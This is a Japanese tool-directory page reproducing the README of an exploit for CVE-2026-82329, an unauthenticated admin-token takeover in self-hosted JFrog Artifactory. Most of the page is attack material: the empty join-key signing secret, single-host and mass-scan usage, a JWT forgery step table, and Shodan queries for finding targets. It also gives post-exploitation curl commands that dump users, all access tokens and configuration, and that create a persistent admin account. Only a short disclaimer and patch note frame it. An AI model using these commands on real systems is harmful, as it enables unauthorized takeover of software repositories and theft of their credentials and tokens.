Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-82329-JFrog-Artifactory-Auth-Bypass — CVE-2026-82329 のエクスプロイト。セルフホスト型 JFrog Artifactory における未認証の認証バイパスであり、空のジョインキーを介した管理者トークンの乗っ取りを可能にします。 | Kitploit
ツール/GitHubGitHub/ynsmroztas/cve-2026-82329-jfrog-artifactory-auth-bypass
認証と認可脆弱性スキャナーエクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubynsmroztas/cve-2026-82329-jfrog-artifactory-auth-bypass

CVE-2026-82329-JFrog-Artifactory-Auth-Bypass

CVE-2026-82329 のエクスプロイト。セルフホスト型 JFrog Artifactory における未認証の認証バイパスであり、空のジョインキーを介した管理者トークンの乗っ取りを可能にします。

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
18時間50分前未レビュー

artifactory.py

artifactory.py — CVE-2026-82329 unauth admin takeover

root@kitploit:~
╔══════════════════════════════════════════════════════════╗
║  artifactory  ·  CVE-2026-82329 unauth admin takeover    ║
║  mitsec       ·  https://x.com/ynsmroztas                ║
╚══════════════════════════════════════════════════════════╝

CVE-2026-82329 — JFrog Artifactory(セルフホスト版)の認証不要 join-JWT
→ SERVICE admin トークン → プラットフォーム applied-permissions/admin アクセストークン。

CVSS 9.8 · CWE-287 · CISA KEV · 実環境で悪用済み。

許可されたテストのみ。所有していないシステム、または書面によるテスト許可がない システムに対して実行しないでください。


機能概要

デフォルトのセルフホストインストールは、空の join キー を信頼します。

root@kitploit:~
JoinKeyUtils.getSigningKey("")  ==  pkcs7(empty, 32)  ==  32 × 0x20
kid = SHA256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

クラウドホスト版の JFrog は修正済み。セルフホスト版のみ対象。

Access 修正ライン: 7.191.14。


インストール

root@kitploit:~
# 標準ライブラリのみ — pip 不要
python3 artifactory.py -h

TLS 検証はデフォルトでオフ(自己署名 Artifactory が一般的なため)。
追加フラグは不要。


使用方法

root@kitploit:~
# 単一ホスト
python3 artifactory.py -u https://artifactory.example.internal:8082

# 発行された admin トークンを表示
python3 artifactory.py -u https://TARGET:8082 --token

# リスト / パイプライン(httpx、shodan、subfinder スタイル)
python3 artifactory.py -l hosts.txt --threads 8
cat hosts.txt | python3 artifactory.py

# Pro / Enterprise のみ — ローカル admin を永続化(破壊的)
python3 artifactory.py -u https://TARGET:8082 --create-admin auditor:ChangeMe_1

出力

root@kitploit:~
[VULN]  https://TARGET:8082  join=201 svc_scp=admin admin token scp=applied-permissions/admin aud=* config=200/42020b tokens=200 version=7.161.19
[SAFE]  https://patched:8082  join HTTP 401  (patched / no blank key)
[FAIL]  https://dead:8082     unreachable
タグ意味
VULN

--token は Bearer 値を出力します。これが乗っ取りそのものです — ログインユーザーは任意です。

--create-admin は OSS では400 を返すことが多い(PUT /artifactory/api/security/users は Pro 限定)。
admin トークンは引き続き有効です。有効な発見には永続化は不要です。


ヒット後 — トークンの使用

TARGET を置き換え、--token の出力からトークンを貼り付けます。

root@kitploit:~
TOKEN='eyJ...'          # --token の出力
B='https://TARGET:8082'

# バージョン / エディション
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/system/version"

# ユーザーディレクトリ(admin)
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v2/users"

# インスタンス上のすべてのアクセストークン
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v1/tokens" | head -c 400

# リポジトリ一覧
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/repositories"

その他の有用な admin 限定の読み取り(許可なしに書き込みをしないでください):

root@kitploit:~
curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/system/configuration" -o config.xml

curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/artifactory/api/security/users"

curl -sk -H "Authorization: Bearer $TOKEN" \
  "$B/access/api/v1/tokens"

UI: プラットフォーム → Access Token でログイン、または
すべてのリクエストに Authorization: Bearer <token> を送信。

任意の永続ユーザー(Pro / Access v2)

root@kitploit:~
curl -sk -D- -X POST "$B/access/api/v2/users" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"auditor","email":"[email protected]","password":"ChangeMe_1Aa","admin":true}'

パスワードポリシーによる 400 ≠ 脆弱性なし。トークンはすでに aud=* を持っています。


偵察

root@kitploit:~
# Shodan
http.component:"Artifactory" port:8081,8082
title:"Artifactory" "JFrog"
http.html:"/artifactory/webapp"
ssl.cert.subject.CN:"artifactory"

# 一般的なポート
8081  8082  8040  8046  443

ツールは -u から /artifactory /ui /webapp を除去し、同一オリジンの Access ルーターと通信します。


--create-admin が発見内容ではない理由

影響は次のように報告してください: 認証不要のプラットフォーム管理者トークン。
ユーザー作成はフォローアップであり、根本的な問題ではありません。


参考情報

  • NVD — CVE-2026-82329
  • JFrog セキュリティアドバイザリ
  • セルフマネージドリリース / パッチ
  • ラボ + パッチ差分: dinosn/cve-2026-82329-jfrog-artifactory

免責事項

このリポジトリは、テストを許可されたシステムのための検証ツールです。
許可なく第三者インフラ上でトークンを発行、ユーザーを列挙、またはアカウントを作成することは違法です。

パッチ: 該当ブランチの修正ビルドにアップグレードし、実際の join キーを設定し、開示後に発行されたトークンをローテーションしてください。


mitsec · @ynsmroztas

ツールをダウンロード
手順リクエスト結果
1HS256 join JWT を偽造(iat は最新、skip_node_registration=true)既知の HMAC シークレット
2POST /access/api/v1/registry/join201 SERVICE トークン scp=admin
3POST /access/api/v1/tokens200 admin トークン scp=applied-permissions/admin aud=*
4GET /artifactory/api/system/configurationadmin 限定の証明(未認証 = 401)
ブランチ脆弱性あり ≤修正版
7.1117.111.207.111.21
7.1177.117.277.117.28
7.1257.125.197.125.20
7.1337.133.287.133.29
7.1467.146.377.146.38
7.1617.161.197.161.20
空の join が受け入れられ、admin 証明あり(configuration またはトークンリスト = 200)
SAFEjoin が拒否 — 修正済み、追加の join キー設定あり、または Access ではない
INFOjoin は発行されたが、証明エンドポイントが 200 でない — 手動で確認
FAILネットワーク / タイムアウト
サーフェスOSSPro / Enterprise
admin アクセストークンの発行はいはい
設定 / トークンリスト / リポジトリの読み取りはいはい
PUT /artifactory/api/security/users400 Pro 限定200/201
POST /access/api/v2/usersバージョン / ポリシー依存201